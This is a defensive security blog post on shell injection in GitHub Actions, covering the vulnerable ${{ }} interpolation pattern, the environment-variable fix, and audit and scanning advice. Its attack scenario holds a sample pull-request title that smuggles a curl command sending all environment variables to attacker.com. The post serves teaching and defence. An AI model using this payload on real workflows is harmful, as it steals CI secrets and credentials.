Back to Blog
high SEVERITY5 min read

Critical Shell Injection Flaw in GitHub Actions: How to Secure Your CI/CD

A high-severity shell injection vulnerability was discovered in a GitHub Actions workflow that could allow attackers to execute arbitrary code and steal secrets. The vulnerability stemmed from directly interpolating untrusted GitHub context data in shell commands. This post explains the attack vector, demonstrates the fix, and provides best practices for securing your CI/CD pipelines.

O
By orbisai0security
April 8, 2026
#github-actions#security#shell-injection#cicd-security#code-injection#devops#workflow-security

Introduction: When Your CI/CD Pipeline Becomes an Attack Vector

GitHub Actions has revolutionized how we build, test, and deploy software. But with great automation comes great responsibility—especially when it comes to security. A recently patched vulnerability in a release workflow demonstrates how a single line of seemingly innocent code can open the door to complete compromise of your CI/CD pipeline.

This vulnerability allowed potential attackers to inject malicious shell commands through GitHub context data, potentially stealing secrets, manipulating builds, or compromising your entire release process. If you're using GitHub Actions, this is a wake-up call to audit your workflows immediately.

The Vulnerability Explained: Shell Injection Through Context Data

What Makes This Dangerous?

The vulnerability occurs when GitHub Actions workflows directly interpolate GitHub context variables (like github.event.pull_request.title, github.event.issue.body, or github.head_ref) into shell commands using the ${{ }} syntax.

Here's why this is problematic:

GitHub context data is user-controlled. Anyone who can create a pull request, issue, or branch can inject arbitrary content into these fields. When this untrusted data flows directly into a shell command, it creates a classic injection vulnerability.

Real-World Attack Scenario

Imagine a workflow with this vulnerable code:

- name: Generate release notes
  run: |
    echo "Creating release for ${{ github.event.pull_request.title }}"
    ./create-release.sh "${{ github.event.pull_request.title }}"

An attacker could create a pull request with a malicious title like:

Feature Update"; curl -X POST https://attacker.com/steal -d "$(env)" #

When the workflow runs, the shell command becomes:

echo "Creating release for Feature Update"; curl -X POST https://attacker.com/steal -d "$(env)" #"
./create-release.sh "Feature Update"; curl -X POST https://attacker.com/steal -d "$(env)" #"

The result? The attacker's command executes, exfiltrating all environment variables—including secrets like GITHUB_TOKEN, API keys, and deployment credentials.

The Impact

This type of vulnerability can lead to:

  • Secret theft: Exposure of GitHub tokens, AWS credentials, API keys, and other secrets
  • Code manipulation: Injection of malicious code into releases or deployments
  • Supply chain attacks: Compromised artifacts distributed to users
  • Lateral movement: Using stolen credentials to access other systems
  • Persistent backdoors: Modification of workflows for future attacks

The Fix: Environment Variable Isolation

The solution is elegantly simple but critically important: never directly interpolate GitHub context data in shell commands. Instead, use an intermediate environment variable.

Before (Vulnerable):

- name: Create release
  run: |
    echo "Release: ${{ github.event.pull_request.title }}"
    ./deploy.sh "${{ github.head_ref }}"

After (Secure):

- name: Create release
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
    HEAD_REF: ${{ github.head_ref }}
  run: |
    echo "Release: $PR_TITLE"
    ./deploy.sh "$HEAD_REF"

Why This Works

When you assign GitHub context data to an environment variable using the env: key, GitHub Actions handles the data safely:

  1. Proper escaping: The data is properly escaped before being set as an environment variable
  2. No direct shell interpretation: The shell receives the variable as a literal string, not as executable code
  3. Quoted protection: Using "$ENVVAR" (with quotes) ensures the variable is treated as a single argument, even if it contains spaces or special characters

Key Security Principles Applied

This fix implements several security best practices:

  • Input validation boundary: Creating a clear boundary between untrusted input and code execution
  • Principle of least privilege: Limiting how untrusted data can interact with the system
  • Defense in depth: Adding a layer of protection even if other security measures fail

Prevention & Best Practices

1. Audit All Your Workflows

Search your .github/workflows/ directory for dangerous patterns:

# Find potential shell injection vulnerabilities
grep -r '\${{.*github\.' .github/workflows/ | grep 'run:'

Look for any run: steps that directly use:
- ${{ github.event.* }}
- ${{ github.head_ref }}
- ${{ github.base_ref }}
- Any other user-controllable GitHub context

2. Always Use Environment Variables for Untrusted Data

Make it a rule: all GitHub context data must go through environment variables before being used in shell commands.

# GOOD
- name: Safe command
  env:
    USER_INPUT: ${{ github.event.issue.title }}
  run: echo "Processing: $USER_INPUT"

# BAD
- name: Unsafe command
  run: echo "Processing: ${{ github.event.issue.title }}"

3. Use GitHub Actions Security Features

GitHub provides built-in security features:

# Use script injection protection
- name: Secure script execution
  env:
    SCRIPT_CONTENT: ${{ github.event.comment.body }}
  run: |
    # The environment variable is safe to use
    echo "$SCRIPT_CONTENT" | ./process-safely.sh

4. Implement Automated Security Scanning

Use tools like:

  • Semgrep: Detected this vulnerability with the rule yaml.github-actions.security.run-shell-injection.run-shell-injection
  • GitHub Code Scanning: Native support for security analysis
  • actionlint: Specialized linter for GitHub Actions
  • Checkov: Infrastructure-as-code security scanner

Add to your workflow:

- name: Security scan workflows
  uses: returntocorp/semgrep-action@v1
  with:
    config: >-
      p/github-actions

5. Follow the Principle of Least Privilege

Limit workflow permissions:

permissions:
  contents: read
  pull-requests: read
  # Only grant what's necessary

6. Validate and Sanitize When Possible

Even with environment variables, add validation:

- name: Validate input
  env:
    BRANCH_NAME: ${{ github.head_ref }}
  run: |
    # Validate branch name format
    if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_-]+$ ]]; then
      echo "Invalid branch name format"
      exit 1
    fi
    echo "Processing branch: $BRANCH_NAME"

7. Security Resources and Standards

This vulnerability maps to:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP Top 10 2021 - A03:2021: Injection
  • MITRE ATT&CK: T1059 (Command and Scripting Interpreter)

Recommended reading:
- GitHub Actions Security Hardening Guide
- OWASP Command Injection Prevention Cheat Sheet

Conclusion: Small Changes, Big Security Impact

This vulnerability demonstrates a crucial lesson in security: the most dangerous vulnerabilities often hide in plain sight. A single line of workflow code that seems perfectly functional can create a critical security hole.

The fix is straightforward—use environment variables instead of direct interpolation—but the implications are profound. Every GitHub Actions workflow in your organization should be audited for this pattern.

Key Takeaways

  1. Never trust user input, even in CI/CD workflows
  2. Always use environment variables for GitHub context data in shell commands
  3. Implement automated security scanning to catch these issues early
  4. Regular security audits of your workflows are essential
  5. Defense in depth: Layer multiple security controls

Your CI/CD pipeline is a critical part of your infrastructure. Securing it isn't optional—it's essential for protecting your code, your secrets, and your users.

Action Item: Take 15 minutes today to audit your GitHub Actions workflows. Your future self (and your security team) will thank you.


Have you found similar vulnerabilities in your workflows? Share your experiences and questions in the comments below.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5487

Related Articles

high

How Missing Checksum Validation Opens the Door to Supply Chain Attacks

A high-severity vulnerability was discovered in a web application's file download pipeline where the `nodejs-file-downloader` dependency was used without any cryptographic verification of downloaded content. Without checksum or signature validation, attackers positioned between the server and client could silently swap legitimate files for malicious ones. This fix closes that window by enforcing integrity verification before any downloaded content is trusted or executed.

high

Unauthenticated Debug Endpoints Expose Firmware Internals: A High-Severity Fix

A high-severity vulnerability was discovered and patched in firmware package handling code, where debug and monitoring endpoints were left exposed without any authentication, authorization, or IP restrictions. These endpoints leaked sensitive application internals including thread states, database connection pool statistics, and potentially sensitive data stored in thread-local storage. Left unpatched, this flaw could allow any unauthenticated attacker to map out application internals and pivot

high

Heap Buffer Overflow in SSL/TLS: When Proto Length Goes Wrong

A critical heap buffer overflow vulnerability was discovered and patched in `src/ssl.c`, where improper bounds checking during ALPN/NPN protocol list construction could allow an attacker to corrupt heap memory and potentially execute arbitrary code. The fix addresses both the missing capacity validation and a dangerous integer overflow in size arithmetic that could lead to undersized allocations followed by out-of-bounds writes. Understanding this class of vulnerability is essential for any deve